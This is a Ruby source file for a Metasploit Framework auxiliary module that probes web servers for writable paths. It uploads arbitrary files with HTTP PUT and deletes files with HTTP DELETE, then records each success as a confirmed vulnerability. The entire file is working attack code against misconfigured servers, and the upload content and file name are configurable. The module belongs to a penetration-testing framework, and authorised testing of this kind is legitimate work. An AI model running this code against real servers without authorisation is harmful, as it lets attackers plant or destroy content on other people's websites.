##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit4 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient
	include Msf::Auxiliary::WmapScanDir
	include Msf::Auxiliary::Scanner
	include Msf::Auxiliary::Report

	def initialize
		super(
			'Name'        => 'HTTP Writable Path PUT/DELETE File Access',
			'Description'    => %q{
				This module can abuse misconfigured web servers to upload and delete web content
				via PUT and DELETE HTTP requests. Set ACTION to either PUT or DELETE.

				PUT is the default.  If filename isn't specified, the module will generate a
				random string for you as a .txt file. If DELETE is used, a filename is required.
			},
			'Author'      =>
				[
					'Kashif [at] compulife.com.pk',
					'CG',
					'sinn3r',
				],
			'License'     => MSF_LICENSE,
			'References'  =>
			[
				[ 'OSVDB', '397'],
			],
			'Actions'     =>
				[
					['PUT'],
					['DELETE']
				],
			'DefaultAction' => 'PUT'
		)

		register_options(
			[
				OptString.new('PATH', [true,  "The path to attempt to write or delete", "/"]),
				OptString.new('FILENAME', [true,  "The file to attempt to write or delete", "msf_http_put_test.txt"]),
				OptString.new('FILEDATA', [false, "The data to upload into the file", "msf test file"]),
				OptString.new('ACTION', [true, "PUT or DELETE", "PUT"])
			], self.class)
	end

	#
	# Send a normal HTTP request and see if we successfully uploaded or deleted a file.
	# If successful, return true, otherwise false.
	#
	def file_exists(path, data)
		begin
			res = send_request_cgi(
				{
					'uri'    => path,
					'method' => 'GET',
					'ctype'  => 'text/plain',
					'data'   => data,
				}, 20
			).to_s
		rescue ::Exception => e
			print_error("Error: #{e.to_s}")
			return nil
		end

		return (res =~ /#{data}/) ? true : false
	end

	#
	# Do a PUT request to the server.  Function returns the HTTP response.
	#
	def do_put(path, data)
		begin
			res = send_request_cgi(
				{
					'uri'    => normalize_uri(path),
					'method' => 'PUT',
					'ctype'  => 'text/plain',
					'data'   => data,
				}, 20
			)
		rescue ::Exception => e
			print_error("Error: #{e.to_s}")
			return nil
		end

		return res
	end

	#
	# Do a DELETE request. Function returns the HTTP response.
	#
	def do_delete(path)
		begin
			res = send_request_cgi(
				{
					'uri'    => normalize_uri(path),
					'method' => 'DELETE',
					'ctype'  => 'text/html',
				}, 20
			)
		rescue ::Exception => e
			print_error("Error: #{e.to_s}")
			return nil
		end

		return res
	end

	#
	# Main function for the module, duh!
	#
	def run_host(ip)
		path   = datastore['PATH']
		data   = datastore['FILEDATA']

		if path[-1,1] != '/'
			path += '/'
		end

		path += datastore['FILENAME']

		case action.name
		when 'PUT'
			#Append filename if there isn't one
			if path !~ /(.+\.\w+)$/
				path << "#{Rex::Text.rand_text_alpha(5)}.txt"
				vprint_status("No filename specified. Using: #{path}")
			end

			#Upload file
			res = do_put(path, data)
			vprint_status("Reply: #{res.code.to_s}") if not res.nil?

			#Check file
			if not res.nil? and file_exists(path, data)
				turl = "#{(ssl ? 'https' : 'http')}://#{ip}:#{rport}#{path}"
				print_good("File uploaded: #{turl}")
				report_vuln(
					:host         => ip,
					:port         => rport,
					:proto        => 'tcp',
					:name         => self.name,
					:info         => "Module #{self.fullname} confirmed write access to #{turl} via PUT",
					:refs         => self.references,
					:exploited_at => Time.now.utc
				)
			else
				print_error("File doesn't seem to exist. The upload probably failed.")
			end

		when 'DELETE'
			#Check file before deleting
			if path !~ /(.+\.\w+)$/
				print_error("You must supply a filename")
				return
			elsif not file_exists(path, data)
				print_error("File is already gone. Will not continue DELETE")
				return
			end

			#Delete our file
			res = do_delete(path)
			vprint_status("Reply: #{res.code.to_s}") if not res.nil?

			#Check if DELETE was successful
			if res.nil? or file_exists(path, data)
				print_error("DELETE failed. File is still there.")
			else
				turl = "#{(ssl ? 'https' : 'http')}://#{ip}:#{rport}#{path}"
				print_good("File deleted: #{turl}")
				report_vuln(
					:host         => ip,
					:port         => rport,
					:proto        => 'tcp',
					:sname => (ssl ? 'https' : 'http'),
					:name         => self.name,
					:info         => "Module #{self.fullname} confirmed write access to #{turl} via DELETE",
					:refs         => self.references,
					:exploited_at => Time.now.utc
				)
			end
		end
	end

end
